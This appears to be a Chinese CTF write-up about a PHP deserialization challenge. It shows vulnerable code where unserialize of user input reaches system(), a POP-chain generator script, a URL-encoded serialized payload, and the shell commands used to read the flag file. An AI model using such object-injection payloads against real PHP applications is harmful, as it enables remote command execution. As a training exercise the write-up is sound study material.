cs反序列化4

cs反序列化4

<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
    public $peguin;
    public $source;
    public function __construct($file){
        $this->source = $file;
        echo 'welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->peguin->close();
    }
    public function __wakeup(){
        if(preg_match('/http|file|data|dict|\.\./i',$this->source)){
            echo "hacker!";
            $this->source = "index.php";
        }
    }
}
class good{
    public $joker;
    public function __call($name,$param){
        system($this->joker);
    }
}
$a = $_GET['cmd'];
unserialize($a);
?>
__call():当调用类中不存在的方法时,就会调用__call();
__wakeup():unserialize时会调用
__toString():当把一个类当作字符串处理时调用
__construct()new一个类时调用

流程

  1. 反序列化$a,调用__wakeup()
  2. source=new test类,调用__toString()
  3. __toString()会使用也给不存在的方法,于是调用__call()
  4. $joker为我们要执行的命令
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
    public $peguin;
    public $source;
   
}
class good{
    public $joker="ls ../../../../..";
   
}


$a=new test();
$a->source=new test();
$a->source->peguin=new good();

echo urlencode(serialize($a));

run:O%3A4%3A%22test%22%3A2%3A%7Bs%3A6%3A%22peguin%22%3BN%3Bs%3A6%3A%22source%22%3BO%3A4%3A%22test%22%3A2%3A%7Bs%3A6%3A%22peguin%22%3BO%3A4%3A%22good%22%3A1%3A%7Bs%3A5%3A%22joker%22%3Bs%3A17%3A%22ls+..%2F..%2F..%2F..%2F..%22%3B%7Ds%3A6%3A%22source%22%3BN%3B%7D%7D

在这里插入图片描述
怎么没有flag

$joker="ls"

在这里插入图片描述

$joker="cat flag.php"

出了个寂寞,为什么
原来在源代码里面
在这里插入图片描述

Linux读取文件的一些命令
cat  从第一行开始,显示文件的所有内容
tac  从第最后一行开始,显示文件的所有内容(正好与cat相反)
more 根据窗口大小,一页一页的实现文件内容
less 和more类似,但是优点是是可以往前翻页和搜索字符
head  只显示前几行
tail  只显示后几行
nl     类似于cat -n,显示时输出行号

这道题如果用cat就不能在页面上显示,用tac的话就可以在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值